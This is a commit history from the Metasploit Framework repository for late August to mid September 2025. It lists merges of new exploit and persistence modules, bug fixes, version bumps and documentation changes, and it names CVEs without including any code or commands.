Land #20536 , adds docker image persistence module
...
docker image persistence module
2025-09-17 09:56:16 +02:00
jenkins-metasploit
076fd0cc45
automatic module_metadata_base.json update
2025-09-16 22:06:51 +00:00
jheysel-r7
81ce0f8868
Merge pull request #20521 from h00die/modern_persistence_systemd
...
update systemd to persistence mixin
2025-09-16 14:56:26 -07:00
jenkins-metasploit
5394ff4b1b
automatic module_metadata_base.json update
2025-09-16 20:30:50 +00:00
jheysel-r7
58dfd4d0ca
Merge pull request #20507 from remmons-r7/commvault_rce_cve_2025_57790_cve_2025_57791
...
Exploit Module for CVE-2025-57790/CVE-2025-57791 - Commvault Unauthenticated RCE
2025-09-16 13:22:18 -07:00
h00die
73c6ed2528
peer review for init_systemd_override persistence
2025-09-16 16:08:30 -04:00
h00die
93bc79e87d
peer review for docker_image persistence
2025-09-16 15:57:24 -04:00
Muzaffer Umut ŞAHİN
7c5fce6872
Add nill check logic
2025-09-16 19:49:55 +03:00
Christophe De La Fuente
788b9c27b4
Use sub-technique and add missing modules
2025-09-16 18:39:23 +02:00
msutovsky-r7
5eecb1feac
Land #20535 , adds a test login scanner and fixes ANONYMOUS_LOGIN
...
Add a test login scanner and fix ANONYMOUS_LOGIN
2025-09-16 16:51:26 +02:00
jenkins-metasploit
76977aeb61
automatic module_metadata_base.json update
2025-09-16 13:06:52 +00:00
msutovsky-r7
32aa0d84e4
Land #20525 , moves obsidian plugin module to persistence category and mixin
...
update obsidian to persistence mixin
2025-09-16 14:58:15 +02:00
jenkins-metasploit
555423b2eb
automatic module_metadata_base.json update
2025-09-15 23:04:23 +00:00
jheysel-r7
02e35f7e92
Merge pull request #20520 from h00die/modern_persistence_openrc
...
update openrc to persistence mixin
2025-09-15 15:54:31 -07:00
h00die
ebe0234ddb
Update documentation/modules/exploit/linux/persistence/init_openrc.md
...
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com >
2025-09-15 16:30:17 -04:00
jenkins-metasploit
ab1dd8787c
automatic module_metadata_base.json update
2025-09-15 19:56:40 +00:00
Brendan
1ec10ec877
Merge pull request #20510 from h00die/modern_persistence_rc_local
...
update rc_local to persistence mixin
2025-09-15 14:47:48 -05:00
Spencer McIntyre
a538a8ea14
Merge pull request #20483 from dledda-r7/fix/update-metasploit-payloads-runner
...
Update CI for meterpreter vs2022
2025-09-15 15:43:16 -04:00
remmons-r7
eddc81f10c
Update commvault_rce_cve_2025_57790_cve_2025_57791.md
...
Update the example usage terminal output to reflect module changes.
2025-09-15 11:37:57 -05:00
remmons-r7
12b78c086d
Update commvault_rce_cve_2025_57790_cve_2025_57791.rb
...
Remove an empty line that msftidy doesn't like
2025-09-15 11:19:49 -05:00
remmons-r7
ddc5abf20c
Update commvault_rce_cve_2025_57790_cve_2025_57791.rb
...
Remove a commented out line that isn't needed.
2025-09-15 10:56:30 -05:00
remmons-r7
bb3a26cff1
Implement peer review suggestions for Commvault module
...
Implementing commvault_rce_cve_2025_57790_cve_2025_57791.rb changes from peer review.
2025-09-15 10:54:34 -05:00
remmons-r7
b754b7027c
Merge branch 'rapid7:master' into commvault_rce_cve_2025_57790_cve_2025_57791
2025-09-15 10:47:38 -05:00
remmons-r7
c20dd394ab
Merge branch 'rapid7:master' into master
2025-09-15 10:47:23 -05:00
dledda-r7
20345c2234
fix: replace Start-Process with Invoke-Command in meterpreter acceptance
2025-09-15 10:12:45 -04:00
dledda-r7
7be73c59e9
fix: replace Start-Process with Invoke-Command in meterpreter acceptance
2025-09-15 09:33:54 -04:00
dledda-r7
b30c3e32c6
fix: replace Start-Process with Invoke-Command in meterpreter acceptance
2025-09-15 08:53:39 -04:00
dledda-r7
85c65bd48f
fix: replace Start-Process with Invoke-Command in meterpreter acceptance
2025-09-15 08:04:35 -04:00
happybear-21
aa264f59d4
fixed: rubocop offenses (file: specialfolder_leak.rb)
2025-09-14 23:45:32 +05:30
happybear-21
2ea4f7cdb0
fixed: rubocop offenses (file: icon_environment_datablock_leak.rb)
2025-09-14 23:35:46 +05:30
happybear-21
97495cdaa4
fixed: rubocop offenses
2025-09-14 23:28:17 +05:30
happybear-21
65549ba868
added: smb share server, completed: requested change
2025-09-14 15:43:58 +05:30
happybear-21
5a82ea53b9
added: smb for lateral movement, updated: description and icon_path as optional, used: faker module to generate data
2025-09-14 15:34:26 +05:30
happybear-21
3aa18b1541
updated: description and icon_path as optional, added: faker module to generate description and icon_path, fixed: minor changes
2025-09-14 15:19:05 +05:30
jenkins-metasploit
8ad35c0534
automatic module_metadata_base.json update
2025-09-12 23:27:45 +00:00
jheysel-r7
b45a3caaa5
Merge pull request #20509 from h00die/modern_persistence_motd
...
update motd to persistence mixin
2025-09-12 16:18:08 -07:00
Metasploit
831912a81b
Bump version of framework to 6.4.89
2025-09-12 16:38:50 -05:00
jenkins-metasploit
4328e9951f
automatic module_metadata_base.json update
2025-09-12 21:22:03 +00:00
jheysel-r7
e473c08b61
Merge pull request #20542 from zeroSteiner/fix/smb-kerberos-login-exp
...
Fix a Kerberos Error Edge Case When Logging In
2025-09-12 14:13:54 -07:00
Spencer McIntyre
c27138a5bf
Filter for an edge case in response codes
2025-09-12 16:49:49 -04:00
Spencer McIntyre
829166def4
Fix a regression in smb_login
2025-09-12 16:49:46 -04:00
jenkins-metasploit
3f1698f209
automatic module_metadata_base.json update
2025-09-12 19:56:02 +00:00
jheysel-r7
796404c1d7
Merge pull request #20541 from zeroSteiner/fix/smb-login-nil-passwords
...
Fix a regression in smb_login
2025-09-12 12:42:19 -07:00
Spencer McIntyre
3e396ce31f
Deregister KrbCacheMode because it's ignored
2025-09-12 15:11:23 -04:00
Spencer McIntyre
5d748b9ba3
Fix a regression in smb_login
2025-09-12 14:27:32 -04:00
Chocapikk
93472898ce
Add new helpful tips to COMMON_TIPS for better usability
2025-09-12 19:49:45 +02:00
Spencer McIntyre
59f1dd4879
Merge pull request #20529 from bwatters-r7/docs/update-contributing
...
Add section on Vibecoding and AI/LLM
2025-09-12 13:01:26 -04:00
jenkins-metasploit
dbc7867dd7
automatic module_metadata_base.json update
2025-09-12 12:49:27 +00:00
msutovsky-r7
c901b5a306
Land #20526 , moves at_persistence to persistence category and mixin
...
Modern persistence: at
2025-09-12 14:41:00 +02:00
mwalas-r7
d3d2950e80
Merge pull request #20537 from zeroSteiner/fix/null-cache-path
...
Check the path is set before checking the file exists
2025-09-12 05:18:37 -07:00
h00die
5abe0f57b7
Update documentation/modules/exploit/multi/persistence/at.md
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-09-12 14:13:27 +02:00
h00die
15cdbfac2e
update at persistence to use attck ref
2025-09-12 14:13:26 +02:00
h00die
fd1d70ef93
update at persistence to mixin
2025-09-12 14:13:26 +02:00
h00die
403d02698b
systemd service override persistence
2025-09-11 17:29:13 -04:00
jenkins-metasploit
cc48f38e21
automatic module_metadata_base.json update
2025-09-11 18:34:00 +00:00
jheysel-r7
96a83143f1
Merge pull request #20479 from msutovsky-r7/exploit/sitecore/postauth-rce
...
Adds modules for Sitecore XP post-auth remote code executions (CVE-2025-34510, CVE-2025-34511)
2025-09-11 11:25:27 -07:00
jenkins-metasploit
dd7c491d9e
automatic module_metadata_base.json update
2025-09-11 17:06:52 +00:00
Diego Ledda
985af001d2
Merge pull request #20497 from h00die/modern_persistence_autostart
...
update autostart to persistence mixin
2025-09-11 18:58:32 +02:00
jheysel-r7
a3a1e146f0
Apply suggestions from code review
2025-09-11 09:40:34 -07:00
Spencer McIntyre
e197f532db
Check the path is set before checking the file exists
2025-09-11 12:35:30 -04:00
h00die
bce1a19927
Update modules/exploits/linux/persistence/init_openrc.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-09-11 12:00:52 -04:00
h00die
00115457f7
Update documentation/modules/exploit/linux/persistence/init_upstart.md
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-09-11 12:00:28 -04:00
h00die
5c52151a06
Update documentation/modules/exploit/linux/persistence/init_upstart.md
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-09-11 12:00:22 -04:00
jenkins-metasploit
947a0ed339
automatic module_metadata_base.json update
2025-09-11 14:54:10 +00:00
Spencer McIntyre
afdaf4ff39
Merge pull request #20514 from dledda-r7/fix/remove-unhook-autoload
...
Removing unhook extension autoload
2025-09-11 10:45:39 -04:00
Martin Sutovsky
5ab864b9b1
Uses between? for version check, clearer webshell upload
2025-09-11 11:04:34 +02:00
Diego Ledda
80c5e41650
Merge pull request #20495 from h00die/modern_persistence_apt
...
update apt_package_manager to persistence mixin
2025-09-11 10:49:08 +02:00
Martin Sutovsky
00bd70751c
Updates docs
2025-09-11 10:41:28 +02:00
Metasploit
f494b9871a
Bump version of framework to 6.4.88
2025-09-11 03:32:35 -05:00
h00die
71e9602eba
Update modules/exploits/linux/persistence/autostart.rb
...
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com >
2025-09-10 13:59:23 -04:00
h00die
2bf5264aff
docker image persistence module
2025-09-10 13:45:22 -04:00
Diego Ledda
4104497498
Merge pull request #20502 from zeroSteiner/feat/refactor-pe-compiling
...
Update PE EXE Templates
2025-09-10 12:37:35 +02:00
jenkins-metasploit
1fe1512596
automatic module_metadata_base.json update
2025-09-10 08:23:55 +00:00
Diego Ledda
1314f5d0bb
Merge pull request #20455 from Chocapikk/aitemi_m300_time_rce
...
Add unauthenticated RCE on Shenzhen Aitemi M300 MT02 (CVE-2025-34152)
2025-09-10 10:12:41 +02:00
h00die
489e0ca404
docker image persistence module draft
2025-09-09 22:53:06 -04:00
h00die
adde043c22
upstart updated with mixin udpates
2025-09-09 17:03:25 -04:00
h00die
b9534ffbe4
use attck ref in upstart persistence module
2025-09-09 17:03:25 -04:00
h00die
ccd1fe3d78
update upstart to persistence mixin
2025-09-09 17:03:25 -04:00
h00die
e3cad5b772
systemd updated with mixin udpates
2025-09-09 16:19:41 -04:00
h00die
296961137e
use attck ref in systemd persistence module
2025-09-09 16:19:41 -04:00
h00die
f240fed592
use attck ref in systemd persistence module
2025-09-09 16:19:41 -04:00
h00die
8b6aede3e4
update systemd to persistence mixin
2025-09-09 16:19:41 -04:00
h00die
16e407fa47
rc_local updated with mixin udpates
2025-09-09 15:42:46 -04:00
h00die
945fd8feb1
use attck ref in openrc persistence module
2025-09-09 15:42:46 -04:00
h00die
c2ca191711
update openrc to persistence mixin
2025-09-09 15:42:46 -04:00
h00die
2bd3ea0e6a
rc_local updated with mixin udpates
2025-09-09 14:58:09 -04:00
h00die
feb4c6f855
rc_local updated with mixin udpates
2025-09-09 14:35:35 -04:00
h00die
e0f350f294
update rc_local to persistence mixin
2025-09-09 14:35:35 -04:00
h00die
8bc611465b
motd updated with mixin udpates
2025-09-09 14:29:29 -04:00
h00die
e1e4e43535
update motd to persistence mixin
2025-09-09 14:29:29 -04:00
Spencer McIntyre
1bd44fa485
Set the anonymous_login option
2025-09-09 13:52:47 -04:00
Spencer McIntyre
30cfc5dbb0
Add a module for testing credential collections
2025-09-09 13:50:55 -04:00
h00die
e79c10ac66
cron updated with mixin udpates
2025-09-09 11:55:19 -04:00
h00die
9e461ea875
switch to attck ref
2025-09-09 11:50:31 -04:00
h00die
785397bb0c
cron to multi with persistence mixin
2025-09-09 11:50:31 -04:00
h00die
c4d03023fc
autostart updated with mixin udpates
2025-09-09 11:47:13 -04:00
h00die
fb29084f86
persistence autostart cleanup updates
2025-09-09 10:49:56 -04:00
h00die
c3be5ad23c
update autostart to persistence mixin
2025-09-09 10:49:56 -04:00
jenkins-metasploit
b650776c83
automatic module_metadata_base.json update
2025-09-09 14:36:48 +00:00
h00die
638beeb738
apt persistence updates for mixin
2025-09-09 10:33:10 -04:00
h00die
711d8d0896
persistence apt cleanup updates
2025-09-09 10:28:03 -04:00
h00die
db2f9f7792
update apt_package_manager to persistence mixin
2025-09-09 10:28:03 -04:00
Diego Ledda
140232da2c
Merge pull request #20534 from h00die/persistence_lib_fixes
...
adjustments to the persistence lib and landed modules
2025-09-09 16:25:24 +02:00
h00die
c4936d1b0f
adjustments to the persistence lib and modules
2025-09-09 10:02:06 -04:00
jenkins-metasploit
6df1871523
automatic module_metadata_base.json update
2025-09-09 13:51:25 +00:00
cgranleese-r7
2f27fe4ed5
Merge pull request #19653 from Mathiou04/fix_bugs_in_credentials_collection_enumerator_and_refacto
...
Fixing multiple bugs in credential generation + refactoring
2025-09-09 14:42:12 +01:00
cgranleese-r7
dbb631ffb6
Adds SSL support to the postgres_login module
2025-09-09 09:56:36 +01:00
Christophe De La Fuente
7ce2bdc979
Add T1003 "OS credential dumping" MITRE technique
2025-09-09 10:45:46 +02:00
jenkins-metasploit
704a8f10b8
automatic module_metadata_base.json update
2025-09-08 23:57:37 +00:00
jheysel-r7
7972017936
Merge pull request #20397 from vognik/CVE-2025-34300
...
Add Lighthouse Studio unauthenticated RCE (CVE-2025-34300)
2025-09-08 16:48:29 -07:00
jheysel-r7
0e325e6217
Update documentation/modules/exploit/multi/http/lighthouse_studio_unauth_rce_CVE_2025_34300.md
2025-09-08 16:29:00 -07:00
Mathieu
736d89bc2c
Update the CredentialCollectionSpecs
...
CredentialCollection: adding various tests that currently fails to demonstrate multiple bugs in the each method
Fix incorrect expectations of currently failing tests
Inline all specs to avoid nesting context
Reverts some test expectations
Some final tidy up
Re-revert tests expectations
2025-09-08 13:09:51 -04:00
Mathieu
4b97240eca
Fixes for the CredentialCollection
...
Fixes trivial bugs when combining additional_publics with user_as_pass
Fixes the fact that no nil credential is generated for additional_publics
Re-implement the each_unfiltered_password_first method (used in case of password spraying) to make all tests pass
First refactoring pass in order to dry the code that iterates on passwords and usernames
2025-09-08 13:08:02 -04:00
Mathieu
14bc1f14fc
Change how ldap_login generate its specific credentials for SCHANNEL && KERBEROS auth
2025-09-08 13:02:30 -04:00
Diego Ledda
68940822fd
Merge pull request #20494 from h00die/modern_persistence_example
...
add example linux persistence module
2025-09-08 16:23:20 +02:00
h00die
5c1673bb20
update obsidian to persistence mixin
2025-09-06 15:05:21 -04:00
remmons-r7
8ffc9a3db4
Update commvault_rce_cve_2025_57790_cve_2025_57791.md
...
Updating module type from "multi" to "windows" in documentation :)
2025-09-05 23:13:10 -05:00
remmons-r7
00114142ff
Delete modules/exploits/multi/http/commvault_rce_cve_2025_57790_cve_2025_57791.rb
2025-09-05 23:10:39 -05:00
remmons-r7
e1b6249c23
Delete documentation/modules/exploit/multi/http/commvault_rce_cve_2025_57790_cve_2025_57791.md
2025-09-05 23:09:51 -05:00
remmons-r7
e661388ce6
Revise and move commvault_rce_cve_2025_57790_cve_2025_57791.md
...
New documentation for the Commvault CVE-2025-57790/CVE-2025-57791 RCE module, updated to reflect module changes.
2025-09-05 23:06:16 -05:00
remmons-r7
be546af7c0
Revise and move commvault_rce_cve_2025_57790_cve_2025_57791.rb
...
Revised initial module and moved it to windows instead of multi.
2025-09-05 23:04:02 -05:00
remmons-r7
3f7512ba62
Merge branch 'rapid7:master' into commvault_rce_cve_2025_57790_cve_2025_57791
2025-09-05 23:02:01 -05:00
remmons-r7
2bb0deb224
Merge branch 'rapid7:master' into master
2025-09-05 22:59:32 -05:00
bwatters-r7
c40e4cc8bc
Add section on Vibecoding and AI/LLM
2025-09-05 15:15:56 -05:00
Diego Ledda
4ede319b0a
fix: review changes
2025-09-05 15:21:49 +02:00
adfoster-r7
5fedbe026b
Merge pull request #20519 from cgranleese-r7/adds-base-sessions-path-to-meterpreter-workflow-paths
...
Adds `lib/msf/base/sessions` path to Meterpreter acceptance workflow paths
2025-09-05 13:07:55 +01:00
cgranleese-r7
0966954549
Adds lib/msf/base/sessions to meterpreter acceptance workflow paths
2025-09-05 07:10:40 +01:00
happybear-21
600ad5777a
Issue: #20223
...
Added Metasploit Auxiliary Module:
[x] Environment Variable Data Block NTLM Leak
[x] Icon Environment Data Block NTLM Leak
[x] Special Folder Data Block NTLM Leak
[x] Windows LNK Padding
Ref:
https://github.com/nafiez/DataBlockNTLMLeak/tree/main
2025-09-05 10:49:08 +05:30
jenkins-metasploit
db80e8173a
automatic module_metadata_base.json update
2025-09-04 17:31:17 +00:00
Spencer McIntyre
e07d174011
Merge pull request #20511 from mwalas-r7/fix/sni-support-for-ssl-scanner
...
Added SNI support for the ssl_version scanner
2025-09-04 13:22:57 -04:00
Marcin Walas
9fb4966e52
Added SNI support for ssl scanner
2025-09-04 16:12:31 +02:00
Diego Ledda
55d8a3f33c
fix: adding issue reference
2025-09-04 14:36:55 +02:00
dwelch-r7
2ca14c900b
Merge pull request #20516 from adfoster-r7/fix-msfdb-init-failures-on-nixos
...
Fix msfdb init failures on NixOs
2025-09-04 12:25:18 +01:00
adfoster-r7
ce3dc123f9
Fix msfdb init failures on nixos
2025-09-04 11:41:30 +01:00
Metasploit
9beacd1980
Bump version of framework to 6.4.87
2025-09-04 03:32:48 -05:00
jenkins-metasploit
ef61041ae1
automatic module_metadata_base.json update
2025-09-03 22:03:28 +00:00
Brendan
da7224ed1b
Merge pull request #20376 from msutovsky-r7/exploit/sudo-chroot-privesc
...
Adds module for sudo chroot LPE (CVE-2025-32463)
2025-09-03 16:53:43 -05:00
adfoster-r7
0bc993b9ca
Merge pull request #20513 from rapid7/revert-20444-adds-survey-banner-docs-site
...
Revert "Adds survey banner to the docs site"
2025-09-03 16:29:45 +01:00
dledda-r7
96c6a14e95
fix: removing unhook extension autoload
2025-09-03 11:22:02 -04:00
cgranleese-r7
be01d0578b
Revert "Adds survey banner to the docs site"
2025-09-03 16:11:00 +01:00
Christophe De La Fuente
4f606bc216
Bump bson and ed25519 versions
2025-09-03 16:27:00 +02:00
remmons-r7
b360d5edc3
Create commvault_rce_cve_2025_57790_cve_2025_57791.md
2025-09-02 15:43:22 -05:00
remmons-r7
a07203c14e
Create commvault_rce_cve_2025_57790_cve_2025_57791.rb
2025-09-02 15:39:29 -05:00
jenkins-metasploit
9efd3c3c79
automatic module_metadata_base.json update
2025-09-02 14:07:19 +00:00
msutovsky-r7
657280b4b8
Land #20505 , adds fix for sap_router_portscanner module
...
fix output of `sap_router_portscanner` that causes module crash
2025-09-02 15:56:59 +02:00
jenkins-metasploit
b3176f0274
automatic module_metadata_base.json update
2025-09-02 12:40:28 +00:00
msutovsky-r7
7820c6caec
Land #20504 , moves bash_profile module to persistence category
...
update bash_profile to persistence mixin
2025-09-02 14:31:42 +02:00
adfoster-r7
3d6993d4ba
Merge pull request #20500 from cgranleese-r7/fixes-docker-invalid-uri-error
...
Fixes database name stripping
2025-09-02 12:42:53 +01:00
randomstr1ng
0fe22ead4f
Fix table output to use print_line instead of print in
...
sap_router_port_scanner
2025-09-02 10:05:42 +02:00
randomstr1ng
a2f02dc376
fix output issue off sap_router_portscanner module
2025-09-02 10:04:46 +02:00
h00die
56c692fc3e
example persistence cleanup updates
2025-09-01 19:34:57 -04:00
h00die
d9f96571e4
use new ATTCK ref
2025-09-01 18:09:25 -04:00
h00die
4591de4cae
last changes for persistence bash module after peer review
2025-09-01 17:49:49 -04:00
Martin Sutovsky
d056164d89
Removes redundant definitions
2025-09-01 15:53:14 +02:00
Martin Sutovsky
fa64376c5c
Adds comments for login function
2025-09-01 15:50:21 +02:00
jenkins-metasploit
e0fec0e61b
automatic module_metadata_base.json update
2025-09-01 11:46:04 +00:00
msutovsky-r7
9283562ee5
Land #20493 , adds XWiki unauthenticated exploit module (CVE-2025-24893)
...
Add XWiki Unauthenticated RCE (CVE-2025-24893)
2025-09-01 13:37:31 +02:00
h00die
fa9d58bb73
update bash_profile to persistence mixin
2025-08-30 15:17:50 -04:00
jenkins-metasploit
0e64aef9f7
automatic module_metadata_base.json update
2025-08-29 18:21:05 +00:00
msutovsky-r7
5d59fbd333
Land #19903 , adds module for periodic script persistence
...
Add OSX Periodic Script Peristence
2025-08-29 20:12:12 +02:00
Martin Sutovsky
2681e7cfed
Update docs
2025-08-29 17:53:07 +02:00
Martin Sutovsky
57f14339d9
Adds x64 to BSD target
2025-08-29 14:47:11 +02:00
Vognik
071a4a34fc
fix tests
2025-08-29 08:41:43 +04:00
Maksim Rogov
9b1d07dea8
removed unnecessary fail_with from check function
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-08-29 06:55:59 +03:00
Spencer McIntyre
9979af9fd7
Update the specs
2025-08-28 17:59:17 -04:00
Spencer McIntyre
75c1415de4
Add the new exe templates
2025-08-28 17:41:48 -04:00
Spencer McIntyre
cf8aa2fc48
Fix the build script
2025-08-28 17:41:28 -04:00
Spencer McIntyre
3af8bd97ad
Consistently use the same technique for exe-service
2025-08-28 17:39:57 -04:00
Spencer McIntyre
0e95f25d4b
Add the exe_service template to the build script
2025-08-28 17:28:55 -04:00
Spencer McIntyre
0192f314ce
Begin normalizing PE templates
2025-08-28 17:28:37 -04:00
h00die
2b249d5626
update linux example persistence
2025-08-28 17:00:05 -04:00
cgranleese-r7
5a3195d9f6
Fixes database name stripping
2025-08-28 15:32:11 +01:00
msutovsky-r7
c163cb3141
Land #20490 , adds the HTTP::Auth option to HTTP modules
...
This adds the `HTTP::Auth` Option to HTTP Modules
2025-08-28 16:13:38 +02:00
Spencer McIntyre
196e19808d
Add some error handling for kerberos options
2025-08-28 10:00:19 -04:00
Martin Sutovsky
ae64436441
Fixes payload delivery, updates targets
2025-08-28 15:47:24 +02:00
dwelch-r7
3d809fa11b
Merge pull request #20499 from dwelch-r7/fix-msfconsole-crash-in-pro-install
...
Add the monkey patch for the TagBuilder that pro needs
2025-08-28 13:05:52 +01:00
Dean Welch
672e9fb32e
Add the monkey patch for the TagBuilder that pro needs
2025-08-28 12:42:42 +01:00
Metasploit
2896b232d1
Bump version of framework to 6.4.86
2025-08-28 06:09:25 -05:00
jenkins-metasploit
66c16b0887
automatic module_metadata_base.json update
2025-08-28 07:59:52 +00:00
msutovsky-r7
c5e5cb84f1
Land #20266 , adds UDP keyboard exploit module for Remote for Mac 2025.6
...
Adds UDP Keyboard RCE for Remote for Mac 2025.6
2025-08-28 09:47:16 +02:00
Martin Sutovsky
b177507041
Adds docs
2025-08-28 09:27:32 +02:00
Martin Sutovsky
f9b8a9b95e
Adds more robust check method
2025-08-28 09:11:01 +02:00
Martin Sutovsky
6c65db52c5
Code rebase, fixing according to the comments
2025-08-28 09:00:12 +02:00
Chokri Hammedi
a251694e2f
Update modules/exploits/osx/misc/remote_for_mac_udp_rce.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-08-28 08:57:56 +02:00
Chokri Hammedi
eda79be4bd
Update modules/exploits/osx/misc/remote_for_mac_udp_rce.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-08-28 08:57:56 +02:00
Chokri Hammedi
2d1f700935
Update modules/exploits/osx/misc/remote_for_mac_udp_rce.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-08-28 08:57:55 +02:00
root
8a6d12a2f4
Add exploit for Remote for Mac 2025.6 unauthenticated UDP RCE
2025-08-28 08:57:55 +02:00
root
374407fc79
Add exploit for Remote for Mac 2025.6 unauthenticated UDP RCE
2025-08-28 08:57:54 +02:00
jenkins-metasploit
7549339e01
automatic module_metadata_base.json update
2025-08-27 20:55:20 +00:00
Brendan
f1dffd3ad6
Merge pull request #20480 from msutovsky-r7/exploit/pretalx/file-rw
...
Adds modules for Pretalx File Read/Limited File Write (CVE-2023-28459, CVE-2023-28458)
2025-08-27 15:46:39 -05:00
Martin Sutovsky
f43b141886
Fine-tunning docs
2025-08-27 21:18:03 +02:00
Martin Sutovsky
61a0d68d97
Fine-tuning docs
2025-08-27 19:22:46 +02:00
Martin Sutovsky
23f486dc53
Updates docs
2025-08-27 19:16:33 +02:00
Martin Sutovsky
7196786258
Clarifies docs
2025-08-27 18:12:54 +02:00
bwatters-r7
090743abbd
Update error message when there may be a timeout
2025-08-27 11:04:43 -05:00
Martin Sutovsky
eef1d34506
Adds more comprehensive check, updates build instructions
2025-08-27 17:58:11 +02:00
jenkins-metasploit
df86d1bd79
automatic module_metadata_base.json update
2025-08-26 20:23:12 +00:00
Spencer McIntyre
c56bfcaa5b
Merge pull request #20488 from mwalas-r7/fix/ssl-version-scanner
...
Fixed listing weak ciphers in ssl_version scan
2025-08-26 16:14:23 -04:00
Martin Sutovsky
a8e97e034c
Adds docs
2025-08-26 13:06:57 +02:00
Martin Sutovsky
2533ddf441
Rubocoping
2025-08-26 12:42:28 +02:00
jenkins-metasploit
2e1e2efd5c
automatic module_metadata_base.json update
2025-08-25 23:28:32 +00:00
Spencer McIntyre
51a2c96e7b
Merge pull request #20489 from 2tunnels/patch-1
...
Fix legacy method override in torchserver_cve_2023_43654
2025-08-25 19:20:09 -04:00
Marcin Walas
6c77f7479d
Fixed showing weak ciphers in ssl_version scan
2025-08-25 21:41:29 +02:00
Martin Sutovsky
b43b4c9f37
Updates library, addressing comments
2025-08-25 17:49:34 +02:00
Maksim Rogov
bdad398541
Update Payload Generation
2025-08-25 15:49:30 +03:00
Maksim Rogov
16b3a352e8
Apply suggestion from @msutovsky-r7
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-08-25 10:49:49 +03:00
Maksim Rogov
51ca11a9d4
Apply suggestion from @msutovsky-r7
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-08-24 18:14:28 +03:00
Vognik
92ddf5646a
Code Review Edits from @msutovsky-r7
2025-08-24 19:13:16 +04:00
h00die
96cc6b479c
add example linux persistence module
2025-08-24 08:09:05 -04:00
Vognik
7289c25faa
Fix Tests
2025-08-24 12:12:22 +04:00
Vognik
7317922be8
Added Documentation
2025-08-24 07:46:59 +04:00
Vognik
2b01ba6200
Add XWiki Unauthenticated RCE (CVE-2025-24893)
2025-08-23 18:56:24 +04:00
Spencer McIntyre
c1074c138e
Move the options into the mixin
2025-08-22 16:05:12 -04:00
Spencer McIntyre
7fdb1e03fa
Tie in Kerberos authentication for HTTP modules
2025-08-22 15:58:18 -04:00
Vlad Dmitrievich
baa5469a21
Fix legacy method override in torchserver_cve_2023_43654
...
I think `Msf::Exploit::Remote::Java::HTTP::ClassLoader` module had `on_request_uri` method, that was later renamed to `java_class_loader_on_request_uri`.
2025-08-22 17:01:41 +03:00
Martin Sutovsky
d49870211b
Adding exceptions to exploit module, bug fix for aux module, adds documentation for exploit module
2025-08-22 15:26:46 +02:00
Martin Sutovsky
4e113b1768
Addresses comments, adds exception for Pretalx, modifies aux module
2025-08-22 13:59:50 +02:00
Martin Sutovsky
2e9b5453ec
Adds description
2025-08-21 15:29:08 +02:00
Martin Sutovsky
fb062075e3
Adds target, adds side effects
2025-08-21 15:21:16 +02:00
Martin Sutovsky
408f7575e4
Fixing write primitive for exploit module, library update
2025-08-21 15:17:32 +02:00
Metasploit
f6b9101249
Bump version of framework to 6.4.85
2025-08-21 06:36:19 -05:00
dledda-r7
53ce08ef6e
feat: add stdapi_webcam extension
2025-08-21 07:13:36 -04:00
dledda-r7
0206663565
feat: add stdapi_ui extension
2025-08-21 07:13:36 -04:00
dledda-r7
02995f2f7d
feat: add stdapi_railgun extension
2025-08-21 07:13:35 -04:00
dledda-r7
809599a7d6
feat: add stdapi_audio extension
2025-08-21 07:13:35 -04:00
dledda-r7
94cc3d0a29
feat: add stdapi_sys extension
2025-08-21 07:13:34 -04:00
dledda-r7
44efeffef1
fix: removing duplicate dispatchers stdapi_fs and stdapi_net
2025-08-21 07:13:34 -04:00
dledda-r7
2af25bb294
fix: disable already loaded commands to allow multiple stdapi loading
2025-08-21 07:13:34 -04:00
dledda-r7
a265deb37e
fix: stdapi_net correct wrapped object alias
2025-08-21 07:13:33 -04:00
dledda-r7
d4c44f9dbf
feat: add stdapi_net extension
2025-08-21 07:13:33 -04:00
dledda-r7
4fe4f8fc14
feat: add stdapi_fs extension
2025-08-21 07:13:32 -04:00
adfoster-r7
4b2ae82f87
Merge pull request #20485 from adfoster-r7/fix-ldap-schannel-supercall
...
Fix ldap schannel superclass method call
2025-08-21 11:52:53 +01:00
adfoster-r7
f3dd030574
Fix ldap schannel supercall
2025-08-21 11:28:26 +01:00
Metasploit
99dd2a0613
Bump version of framework to 6.4.84
2025-08-21 05:13:14 -05:00
adfoster-r7
30bda5c6a5
Merge pull request #20484 from cdelafuente-r7/add_parallel_gem
...
Add parallel gem to gemspec
2025-08-21 10:54:31 +01:00
Christophe De La Fuente
39e008e650
Add parallel gem to gemspec
2025-08-21 11:50:21 +02:00
dledda-r7
5b9f1c7818
fix: update CI for meterpreter vs2022
2025-08-21 04:06:18 -04:00
Martin Sutovsky
01c09bcfed
Library fixes, refactoring exploit module
2025-08-21 09:22:21 +02:00
Martin Sutovsky
72dcc5a301
Library fix
2025-08-21 07:21:56 +02:00
rodolphopivetta
16e4d48a73
Add ssl param to new HTTP scanner on http_login
2025-08-21 00:19:48 -04:00
jenkins-metasploit
ab45ae60f3
automatic module_metadata_base.json update
2025-08-20 18:26:50 +00:00
Spencer McIntyre
5735a82df7
Merge pull request #20460 from msutovsky-r7/exploit/ndsudo-priv-esc
...
Adds an exploit for ndsudo privilege escalation (CVE-2024-32019)
2025-08-20 14:13:24 -04:00
Spencer McIntyre
8602f8beaf
Merge pull request #20470 from bwatters-r7/docs/readd-esc8
...
re-add ESC8 creation guide
2025-08-20 10:57:18 -04:00
Martin Sutovsky
e23feb0faf
Adds check for ndsudo binary
2025-08-20 12:49:38 +02:00
Metasploit
f18b0ccf7d
Bump version of framework to 6.4.83
2025-08-20 05:44:43 -05:00
jenkins-metasploit
5ad5384b7f
automatic module_metadata_base.json update
2025-08-20 10:33:47 +00:00
dwelch-r7
d09d5212ec
